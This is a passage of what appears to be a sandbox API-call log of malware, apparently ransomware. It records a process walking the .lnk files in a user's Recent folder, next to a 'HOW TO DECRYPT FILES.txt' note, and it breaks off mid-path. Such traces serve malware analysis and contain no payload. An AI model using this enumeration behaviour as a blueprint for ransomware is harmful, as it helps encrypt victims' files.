ftCreationTime.dwLowDateTime=0xe395c720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5eda1a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5eda1a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="GXonilJBO52H80m.lnk", cAlternateFileName="GXONIL~1.LNK")) returned 1 [0088.732] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.732] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GXlOJ84-SLMfj37e6tM.lnk") returned="GXlOJ84-SLMfj37e6tM.lnk" [0088.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.732] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.732] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3095600, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3095600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3095600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="hADtD_J4h.lnk", cAlternateFileName="HADTD_~1.LNK")) returned 1 [0088.732] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.732] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GXonilJBO52H80m.lnk") returned="GXonilJBO52H80m.lnk" [0088.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.732] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.732] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6030e00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6030e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6030e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2758, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="HLUwwN9fvG6o6.lnk", cAlternateFileName="HLUWWN~1.LNK")) returned 1 [0088.732] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.732] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hADtD_J4h.lnk") returned="hADtD_J4h.lnk" [0088.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.733] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.733] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0088.733] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.733] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5fbe9e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5fbe9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5fbe9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName="HRgFaHIp.lnk", cAlternateFileName="")) returned 1 [0088.733] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.733] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HLUwwN9fvG6o6.lnk") returned="HLUwwN9fvG6o6.lnk" [0088.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.733] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.733] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f00300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f00300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f00300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14f1, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="iC7AG7NgK7TlzaCr6yO.lnk", cAlternateFileName="IC7AG7~1.LNK")) returned 1 [0088.733] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.734] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HRgFaHIp.lnk") returned="HRgFaHIp.lnk" [0088.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.734] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.734] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf93d680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf93d680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="IcQO5q9P.lnk", cAlternateFileName="")) returned 1 [0088.734] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.734] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iC7AG7NgK7TlzaCr6yO.lnk") returned="iC7AG7NgK7TlzaCr6yO.lnk" [0088.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.734] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.734] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe525ae20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe525ae20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe525ae20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="IFJZX.lnk", cAlternateFileName="")) returned 1 [0088.735] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.735] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IcQO5q9P.lnk") returned="IcQO5q9P.lnk" [0088.735] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.735] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.735] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0e5d9c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3e6b5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3e6b5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="im5PbdZL_0mB2gOZ6.lnk", cAlternateFileName="IM5PBD~1.LNK")) returned 1 [0088.735] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.735] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IFJZX.lnk") returned="IFJZX.lnk" [0088.735] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.735] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.735] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d3aae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3d3aae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3d3aae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x219e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="JoKBlSZd0zEXdxdb.lnk", cAlternateFileName="JOKBLS~1.LNK")) returned 1 [0088.735] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.736] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\im5PbdZL_0mB2gOZ6.lnk") returned="im5PbdZL_0mB2gOZ6.lnk" [0088.736] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.736] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.736] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3107a20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3107a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3107a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="Jqzev8Zo_O.lnk", cAlternateFileName="JQZEV8~1.LNK")) returned 1 [0088.736] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.736] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JoKBlSZd0zEXdxdb.lnk") returned="JoKBlSZd0zEXdxdb.lnk" [0088.736] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.736] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.736] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47a4b20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe47a4b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe47a4b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="jTKOxr61LK.lnk", cAlternateFileName="JTKOXR~1.LNK")) returned 1 [0088.737] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.737] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jqzev8Zo_O.lnk") returned="Jqzev8Zo_O.lnk" [0088.737] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.737] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.737] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6030e00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe6030e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe6030e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xfa9, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="jvalCXYkJkQMZAT6toe6.lnk", cAlternateFileName="JVALCX~1.LNK")) returned 1 [0088.737] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.737] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jTKOxr61LK.lnk") returned="jTKOxr61LK.lnk" [0088.737] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.737] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.737] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3662ba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3662ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3662ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="JVV6unlRo W5zI_DBhH.lnk", cAlternateFileName="JVV6UN~1.LNK")) returned 1 [0088.738] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.738] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jvalCXYkJkQMZAT6toe6.lnk") returned="jvalCXYkJkQMZAT6toe6.lnk" [0088.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.738] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.738] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe437a4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe437a4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe437a4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="k1hHpO-SX97JUmWZ5JdT.lnk", cAlternateFileName="K1HHPO~1.LNK")) returned 1 [0088.738] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.738] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JVV6unlRo W5zI_DBhH.lnk") returned="JVV6unlRo W5zI_DBhH.lnk" [0088.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.738] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.739] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe607d0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe607d0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13f7, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="KtFuZ9q.lnk", cAlternateFileName="")) returned 1 [0088.739] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.739] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\k1hHpO-SX97JUmWZ5JdT.lnk") returned="k1hHpO-SX97JUmWZ5JdT.lnk" [0088.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.739] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.739] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ea6420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ea6420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ea6420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1ae2, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="lcrr707tX FOCUYrqQo.lnk", cAlternateFileName="LCRR70~1.LNK")) returned 1 [0088.739] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.739] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtFuZ9q.lnk") returned="KtFuZ9q.lnk" [0088.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.739] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS 